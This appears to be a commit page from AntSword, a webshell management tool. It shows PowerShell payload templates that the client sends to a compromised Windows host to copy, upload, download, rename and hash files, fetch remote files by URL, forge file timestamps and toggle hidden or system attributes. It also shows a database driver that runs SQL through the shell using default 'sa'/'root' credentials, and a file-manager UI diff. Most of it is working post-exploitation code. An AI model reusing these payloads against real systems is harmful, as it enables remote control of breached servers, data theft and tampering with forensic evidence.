_: `Copy-Item -Recurse -Force -LiteralPath '#{path}' -Destination '#{target}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
download_file: {
/* 这里下载二进制文件时会不正常, 扩展ASCII问题导致的
暂时还没想到好的解决方案, 后期考虑改造 request download 机制来解决编码问题
error eg:
origin: ff d8 ff e0 00 10 4a 46
download: ff 3f 3f 10 4a 46 49 46
*/
_: `[System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes('#{path}'));`.replace(/\n\s+/g, '')
},
upload_file: {
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
$FS=[System.IO.File]::Open('#{path}',[System.IO.FileMode]::Append);
$FS.Write($C,0,$C.Length);
$FS.Close();
return '1';
`.replace(/\n\s+/g, ''),
},
rename: {
_: `Rename-Item -Force -LiteralPath '#{path}' -NewName '#{name}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
retime: {
_: `$F=(Get-Item -Force '#{path}' -ErrorAction Stop);
$F.CreationTime=('#{time}');
$F.LastAccessTime=('#{time}');
$F.LastWriteTime=('#{time}');
return '1';
`.replace(/\n\s+/g, '')
},
chmod: {
// 这段代码没测试 $F=(Get-Item '#{path}');$F.Mode=('#{mode}');'1'}catch{'0'}
// 以下是 windows 上给文件/目录设置 只读、隐藏、系统 属性
// 在 windows 上也没多大意义, 一般可能会修改 IsReadOnly 和 IsHidden 这两个属性
// https://docs.microsoft.com/en-us/dotnet/api/system.io.fileattributes?view=netcore-1.0
// https://docs.microsoft.com/zh-cn/previous-versions/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-3.0
// darhs
// 是否是目录
// Directory d----
// Archive(File) -a---
// ReadOnly Archive -ar--
// Hidden Archive -a-h-
// System File -a-h-s
_: `
if([System.Environment]::OSVersion.VersionString.ToLower().Contains('windows') -eq $False){
return 'ERROR:// not support';
};
$M='#{mode}'.ToLower();
$P='#{path}';
if($M.Length -ne 5){ return 'ERROR:// File Mode Pattern length not equals 5, eg: -arh-';};
$F=(Get-Item -Force -LiteralPath $P -ErrorAction Stop);
$FM=$F.Mode.ToLower();
if($FM[2] -ne $M[2]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::ReadOnly};
if($FM[3] -ne $M[3]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::Hidden};
if($FM[4] -ne $M[4]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::System};
return '1';
`.replace(/\n\s+/g, '')
},
mkdir: {
_: `New-Item -ItemType Directory -Path '#{path}' -ErrorAction Stop|Out-Null;return '1';`,
},
wget: {
_: `Invoke-WebRequest -ErrorAction Stop -URI '#{url}' -OutFile '#{path}'; return '1';`.replace(/\n\s+/g, '')
},
filehash: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$hashlist=@('MD5','SHA1');
for($i=0;$i -lt $hashlist.Length; $i++){
$FH=(Get-FileHash -LiteralPath '#{path}' -Algorithm $hashlist[$i] -ErrorAction Stop);
$ret+=$FH.Algorithm+$Tab+$FH.Hash+$Line;
};
return $ret;
`.replace(/\n\s+/g, ''),
},
})
\ No newline at end of file
//
// 数据库驱动::PSWINDOWS 支持数据库: Any
//
const LANG = antSword['language']['database'];
const LANG_T = antSword['language']['toastr'];
const dialog = antSword.remote.dialog;
const fs = require('fs');
const Decodes = antSword.Decodes;
class PSWINDOWS {
constructor(opt) {
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
//
// * 数据库驱动列表
//
this.conns = {
'sqlserver_sqlclient': 'Server=127.0.0.1;Database=master;UID=sa;PWD=123456;',
'sqlserver_odbc': 'Driver={SQL Server};Server=127.0.0.1;Database=master;UID=sa;PWD=123456;',
'mysql_odbc': 'Driver={MySql ODBC 8.0 Unicode Driver};Server=localhost;Database=information_schema;Port=3306;UID=root;PWD=123456;',
};
// 1. 初始化TREE UI
this.tree = this
.manager
.list
.layout
.attachTree();
// 2. 加载数据库配置
this.parse();
// 3. tree单击::设置当前配置&&激活按钮
this
.tree
.attachEvent('onClick', (id) => {
// 更改按钮状态
id.startsWith('conn::') ?
this.enableToolbar() :
this.disableToolbar();
// 设置当前配置
const tmp = id.split('::');
const arr = tmp[1].split(':');
// 设置当前数据库
this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: arr[0]
});
if (arr.length > 1) {
this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString();
// 更新SQL编辑器
this.enableEditor();
// manager.query.update(this.currentConf);
} else {
this.disableEditor();
}
});
// 4. tree双击::加载库/表/字段
this.tree.attachEvent('onDblClick', (id) => {
const arr = id.split('::');
if (arr.length < 2) {
throw new Error('ID ERR: ' + id)
};
switch (arr[0]) {
// 获取数据库列表
case 'conn':
this.getDatabases(arr[1]);
break;
// 获取数据库表名
case 'database':
let _db = arr[1].split(':');
this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString());
break;
// 获取表名字段
case 'table':
let _tb = arr[1].split(':');
this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString());
break;
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = Buffer.from(_co[1], 'base64').toString();
const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString();
let sql = "";
switch (this.dbconf['type']) {
case 'mysql_odbc':
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
case 'sqlserver_odbc':
case 'sqlserver_sqlclient':
sql = `SELECT TOP 20 [${column}] FROM [${db}].dbo.[${table}] ORDER BY 1 DESC;`;
break;
case 'oracle':
case 'oracle_oci8':
sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
case 'postgresql_pdo':
sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default:
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
}
this.manager.query.editor.session.setValue(sql);
break;
}
});
// 5. tree右键::功能菜单
this
.tree
.attachEvent('onRightClick', (id, event) => {
if (!id.startsWith('conn::')) {
return
};
this
.tree
.selectItem(id);
this
.tree
.callEvent('onClick', [id]);
bmenu([{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: this
.addConf
.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['edit'],
icon: 'fa fa-edit',
action: this
.editConf
.bind(this)
}, {
divider: true
}, {
text: LANG['list']['menu']['del'],
icon: 'fa fa-remove',
action: this
.delConf
.bind(this)
}], event);
});
}
// 加载配置列表
parse() {
// 获取数据
const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);
const conf = info['database'] || {};
// 刷新UI 1.清空数据
this
.tree
.deleteChildItems(0);
// 2.添加数据
let items = [];
for (let _ in conf) {
items.push({
id: `conn::${_}`,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: antSword.noxss(conf[_]['type'].toUpperCase()),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
});
}
// 3.刷新UI
this
.tree
.parse({
id: 0,
item: items
}, 'json');
// 禁用按钮
this.disableToolbar();
this.disableEditor();
}
// 添加配置
addConf() {
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
const win = this
.manager
.win
.createWindow(hash, 0, 0, 450, 300);
win.setText(LANG['form']['title']);
win.centerOnScreen();
win
.button('minmax')
.hide();
win.setModal(true);
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: LANG['form']['toolbar']['add']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]);
// form
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
inputWidth: 280
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
name: 'type',
options: (() => {
let ret = [];
for (let _ in this.conns) {
ret.push({
text: _.toUpperCase(),
value: _
});
}
return ret;
})()
}, {
type: 'input',
label: LANG['form']['conn'],
name: 'conn',
required: true,
value: this.conns[Object.keys(this.conns)[0]],
rows: 9
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'clear':
form.clear();
break;
case 'add':
if (!form.validate()) {
// return '填写完整!';
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let data = form.getValues();
// 验证是否连接成功(获取数据库列表)
const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {
_id: this.manager.opt['_id'],
data: data
});
win.close();
toastr.success(LANG['form']['success'], LANG_T['success']);
this
.tree
.insertNewItem(0, `conn::${id}`,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]);
break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
} else {
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
}
});
}
// 修改配置
editConf() {
const id = this
.tree
.getSelected()
.split('::')[1];
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
const hash = (+new Date * Math.random())
.toString(16)
.substr(2, 8);
// 创建窗口
const win = this
.manager
.win
.createWindow(hash, 0, 0, 450, 300);
win.setText(LANG['form']['title']);
win.centerOnScreen();
win
.button('minmax')
.hide();
win.setModal(true);
win.denyResize();
// 工具栏
const toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'edit',
type: 'button',
icon: 'edit',
text: LANG['form']['toolbar']['edit']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['form']['toolbar']['clear']
}, {
type: 'separator'
}, {
id: 'test',
type: 'button',
icon: 'spinner',
text: LANG['form']['toolbar']['test']
}]);
// form
const form = win.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
inputWidth: 280
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'combo',
label: LANG['form']['type'],
readonly: true,
name: 'type',
options: (() => {
let ret = [];
for (let _ in this.conns) {
ret.push({
text: _.toUpperCase(),
value: _,
selected: conf['type'] === _
});
}
return ret;
})()
}, {
type: 'input',
label: LANG['form']['conn'],
name: 'conn',
required: true,
value: conf['conn'],
rows: 9
}]
}], true);
form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') {
return
};
form.setFormData({
conn: this.conns[id]
});
});
// 工具栏点击事件
toolbar.attachEvent('onClick', (id) => {
switch (id) {
case 'clear':
form.clear();
break;
case 'edit':
if (!form.validate()) {
// return '填写完整!';
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let data = form.getValues();
// 验证是否连接成功(获取数据库列表)
const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', {
_id: this.manager.opt['_id'],
id: this
.tree
.getSelected()
.split('::')[1],
data: data
});
win.close();
toastr.success(LANG['form']['success'], LANG_T['success']);
// 刷新 UI
this.parse();
break;
case 'test':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
let _data = form.getValues();
console.log(_data);
win.progressOn();
this
.core
.request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => {
if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) {
throw res["text"];
}
toastr.success(LANG['form']['test_success'], LANG_T['success']);
} else {
toastr.warning(LANG['form']['test_warning'], LANG_T['warning']);
}
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
break;
}
});
}
// 删除配置
delConf() {
const id = this
.tree
.getSelected()
.split('::')[1];
layer.confirm(LANG['form']['del']['confirm'], {
icon: 2,
shift: 6,
title: LANG['form']['del']['title']
}, (_) => {
layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {
_id: this.manager.opt['_id'],
id: id
});
if (ret === 1) {
toastr.success(LANG['form']['del']['success'], LANG_T['success']);
this
.tree
.deleteItem(`conn::${id}`);
// 禁用按钮
this.disableToolbar();
this.disableEditor();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse();
} else {
toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);
}
});
}
// 获取数据库列表
getDatabases(id) {
this.manager.list.layout.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
conf['conn'].match(/[\w]+.mdb$/) : 'database'
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning'])
return this
.manager
.list
.layout
.progressOff();
};
// 删除子节点
this.tree.deleteChildItems(`conn::${id}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
const _db = Buffer.from(antSword.unxss(_)).toString('base64');
this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]);
});
this
.manager
.list
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.list
.layout
.progressOff();
});
}
// 获取数据库表数据
getTables(id, db) {
this
.manager
.list
.layout
.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`database::${id}:${_db}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
const _table = Buffer
.from(antSword.unxss(_))
.toString('base64');
this
.tree
.insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]);
});
this
.manager
.list
.layout
.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this
.manager
.list
.layout
.progressOff();
});
}
// 获取字段
getColumns(id, db, table) {
this.manager.list.layout.progressOn();
// 获取配置
const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this
.core
.request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
encode: this.manager.opt.encode,
db: db,
table: table
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
throw ret;
}
const arr = ret.split('\t');
const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);
// 添加子节点
arr.map((_) => {
if (!_) {
return
};
_ = antSword.unxss(_, false);
const _column = Buffer.from(_.substr(0, _.lastIndexOf(' '))).toString('base64');
this.tree.insertNewItem(
`table::${id}:${_db}:${_table}`,
`column::${id}:${_db}:${_table}:${_column}`,
antSword.noxss(_), null,
this.manager.list.imgs[3],
this.manager.list.imgs[3],
this.manager.list.imgs[3]
);
});
let presql = "";
switch (this.dbconf['type']) {
case 'sqlserver_odbc':
case 'sqlserver_sqlclient':
presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
break;
case 'oracle':
case 'oracle_oci8':
presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
case 'postgresql_pdo':
presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
case 'sqlite3':
case 'sqlite_pdo':
presql = `SELECT * FROM "${db}"."${table}" ORDER BY 1 DESC limit 0,20;`;
break;
default:
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
}
// 更新编辑器SQL语句
this.manager.query.editor.session.setValue(presql);
this.manager.list.layout.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this.manager.list.layout.progressOff();
});
}
// 执行SQL
execSQL(sql) {
this.manager.query.layout.progressOn();
this
.core
.request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
encode: this.manager.opt.encode,
db: this.dbconf['database'],
sql: sql
}))
.then((res) => {
let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) {
throw ret;
}
// 更新执行结果
this.updateResult(ret);
this.manager.query.layout.progressOff();
})
.catch((err) => {
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
this.manager.query.layout.progressOff();
});
}
// 更新SQL执行结果
updateResult(data) {
console.log(data);
// 1.分割数组
const arr = data.split('\n');
// 2.判断数据
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
// 3.行头
let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
let data_arr = [];
arr.map((_) => {
let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i++) {
// _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false);
let buff = new Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" });
if (encoding == "unknown") {
switch (this.dbconf['type']) {
case 'sqlsrv':
var sqlsrv_conncs_mapping = {
'utf-8': 'utf8',
'char': '',
}
encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || '';
break;
case 'oracle_oci8':
var oci8_characterset_mapping = {
'UTF8': 'utf8',
'ZHS16GBK': 'gbk',
'ZHT16BIG5': 'big5',
'ZHS16GBKFIXED': 'gbk',
'ZHT16BIG5FIXED': 'big5',
}
encoding = oci8_characterset_mapping[this.dbconf['encode']] || '';
break;
default:
encoding = this.dbconf['encode'] || '';
break;
}
}
encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode'];
let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text, false);
}
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, ''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setColumnMinWidth(100, header_arr.length - 1);
grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
let grid_data = [];
for (let i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1,
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
}, 'json');
// 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this
.manager
.result
.layout
.getAttachedObject();
let filename = `${this
.core
.__opts__
.ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
}, (filePath) => {
if (!filePath) {
return;
};
let headerStr = grid
.hdrLabels
.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this
.manager
.list
.toolbar
.disableItem('del');
this
.manager
.list
.toolbar
.disableItem('edit');
this
.manager
.result
.toolbar
.disableItem('dump');
}
// 启用toolbar按钮
enableToolbar() {
this
.manager
.list
.toolbar
.enableItem('del');
this
.manager
.list
.toolbar
.enableItem('edit');
}
// 禁用SQL编辑框
disableEditor() {
['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar));
this
.manager
.query
.editor
.setReadOnly(true);
}
// 启用SQL编辑框
enableEditor() {
['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar));
this
.manager
.query
.editor
.setReadOnly(false);
}
}
module.exports = PSWINDOWS;
\ No newline at end of file
...@@ -71,7 +71,7 @@ class FileManager { ...@@ -71,7 +71,7 @@ class FileManager {
}).catch((err) => { }).catch((err) => {
this.cell.progressOff(); this.cell.progressOff();
this.cell.close(); this.cell.close();
toastr.error((typeof (err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);
}); });
// this.core.base.info((ret) => { // this.core.base.info((ret) => {
// this.initUI(ret); // this.initUI(ret);
...@@ -501,7 +501,10 @@ class FileManager { ...@@ -501,7 +501,10 @@ class FileManager {
value: antSword.noxss(oldmod), value: antSword.noxss(oldmod),
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`, title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => { }, (value, i, e) => {
if (!value.match(/^[0-7]{4}$/)) { if (this.core.constructor.name == "PSWINDOWS" && !value.match(/^(-|d)(-|a)(-|r)(-|h)(-|s)$/)) {
toastr.error("PS FileMode Pattern Error, eg: -arh-", LANG_T['error']);
return
} else if (this.core.constructor.name != "PSWINDOWS" && !value.match(/^[0-7]{4}$/)) {
toastr.error(LANG['chmod']['check'], LANG_T['error']); toastr.error(LANG['chmod']['check'], LANG_T['error']);
return return
} }
...@@ -562,10 +565,9 @@ class FileManager { ...@@ -562,10 +565,9 @@ class FileManager {
win.setText(`Preview File: ${antSword.noxss(remote_path)}`); win.setText(`Preview File: ${antSword.noxss(remote_path)}`);
let buff = fs.readFileSync(savepath); let buff = fs.readFileSync(savepath);
switch (filemime) { switch (filemime) {
default: default: let data = Buffer.from(buff).toString('base64');
let data = Buffer.from(buff).toString('base64'); win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`);
win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`); break;
break;
} }
fs.unlink(savepath); fs.unlink(savepath);
} else { } else {
...@@ -652,15 +654,15 @@ class FileManager { ...@@ -652,15 +654,15 @@ class FileManager {
fs.unlinkSync(filePath); fs.unlinkSync(filePath);
} }
self.core.download(filePath, self.core.filemanager.download_file({ self.core.download(filePath, self.core.filemanager.download_file({
path: path path: path
}), (_size) => { }), (_size) => {
// 计算进度百分比 // 计算进度百分比
down_size += _size; down_size += _size;
let down_progress = parseInt(parseFloat(down_size / item.size).toFixed(2) * 100); let down_progress = parseInt(parseFloat(down_size / item.size).toFixed(2) * 100);
if (!(down_progress % 5)) { if (!(down_progress % 5)) {
task.update(down_progress + '%'); task.update(down_progress + '%');
}; };
}) })
.then((_size) => { .then((_size) => {
if (_size === item.size) { if (_size === item.size) {
task.success(LANG['download']['task']['success']); task.success(LANG['download']['task']['success']);
...@@ -946,69 +948,69 @@ class FileManager { ...@@ -946,69 +948,69 @@ class FileManager {
icon: 'code', icon: 'code',
type: 'button' type: 'button'
}; };
(_ === ext) ? _opt['selected'] = true : 0; (_ === ext) ? _opt['selected'] = true: 0;
_options.push(_opt); _options.push(_opt);
} }
toolbar.loadStruct([{ toolbar.loadStruct([{
id: 'hinttext', id: 'hinttext',
type: 'text', type: 'text',
text: hinttext text: hinttext
}, },
{ {
id: 'filepath', id: 'filepath',
type: 'buttonInput', type: 'buttonInput',
width: 500, width: 500,
value: antSword.noxss(path), value: antSword.noxss(path),
}, },
{ {
type: 'separator' type: 'separator'
}, },
{ {
type: 'spacer' type: 'spacer'
}, },
{ {
id: 'refresh', id: 'refresh',
type: 'button', type: 'button',
icon: 'refresh', icon: 'refresh',
text: LANG['editor']['toolbar']['refresh'] text: LANG['editor']['toolbar']['refresh']
}, },
{ {
id: 'save', id: 'save',
type: 'button', type: 'button',
icon: 'save', icon: 'save',
text: LANG['editor']['toolbar']['save'] text: LANG['editor']['toolbar']['save']
}, },
{ {
type: 'separator' type: 'separator'
}, },
{ {
id: 'encode', id: 'encode',
type: 'buttonSelect', type: 'buttonSelect',
icon: 'language', icon: 'language',
openAll: true, openAll: true,
text: LANG['editor']['toolbar']['encode'], text: LANG['editor']['toolbar']['encode'],
options: (() => { options: (() => {
let ret = []; let ret = [];
ENCODES.map((_) => { ENCODES.map((_) => {
let _opt_ = { let _opt_ = {
id: `encode_${_}`, id: `encode_${_}`,
text: _, text: _,
icon: 'font', icon: 'font',
type: 'button' type: 'button'
}; };
(_ === self.opts['encode'] ? _opt_['selected'] = true : 0); (_ === self.opts['encode'] ? _opt_['selected'] = true : 0);
ret.push(_opt_); ret.push(_opt_);
}); });
return ret; return ret;
})() })()
}, { }, {
id: 'mode', id: 'mode',
type: 'buttonSelect', type: 'buttonSelect',
icon: 'th-list', icon: 'th-list',
openAll: true, openAll: true,
text: LANG['editor']['toolbar']['mode'], text: LANG['editor']['toolbar']['mode'],
options: _options options: _options
}, },
]); ]);
toolbar.setItemToolTip('hinttext', tooltip); toolbar.setItemToolTip('hinttext', tooltip);
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
...@@ -1141,6 +1143,61 @@ class FileManager { ...@@ -1141,6 +1143,61 @@ class FileManager {
}); });
} }
// 计算文件 hash
fileHash(name) {
let self = this;
const remote_path = this.path + name;
const win = self.createWin({
title: 'FileHash: ' + antSword.noxss(remote_path),
width: 350,
height: 200,
});
let grid = win.attachGrid();
grid.clearAll();
grid.setHeader(`Algorithm,Hash`);
grid.setColTypes("ro,txt");
grid.setColSorting('str,str');
grid.setColumnMinWidth(50, 200);
grid.setInitWidths("80,*");
grid.setColAlign("center,left");
grid.setEditable(true);
grid.init();
win.progressOn();
self.core.request(
this.core.filemanager.filehash({
path: remote_path,
})
).then((ret) => {
if (ret['text'].indexOf("ERROR://") > -1) {
throw ret["text"];
}
let _data = ret['text'].split('\n');
let data_arr = [];
for (let i = 0; i < _data.length; i++) {
let item = _data[i].split('\t');
if (item.length < 2) {
continue
}
data_arr.push({
id: i + 1,
data: [
antSword.noxss(item[0]),
antSword.noxss(item[1]),
],
});
}
grid.parse({
'rows': data_arr,
}, 'json');
toastr.success(LANG_T['success'], LANG_T['success']);
win.progressOff();
})
.catch((err) => {
win.progressOff();
toastr.error(JSON.stringify(err), LANG_T['error']);
});
}
// 创建窗口 // 创建窗口
createWin(opts) { createWin(opts) {
let _id = String(Math.random()).substr(5, 10); let _id = String(Math.random()).substr(5, 10);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment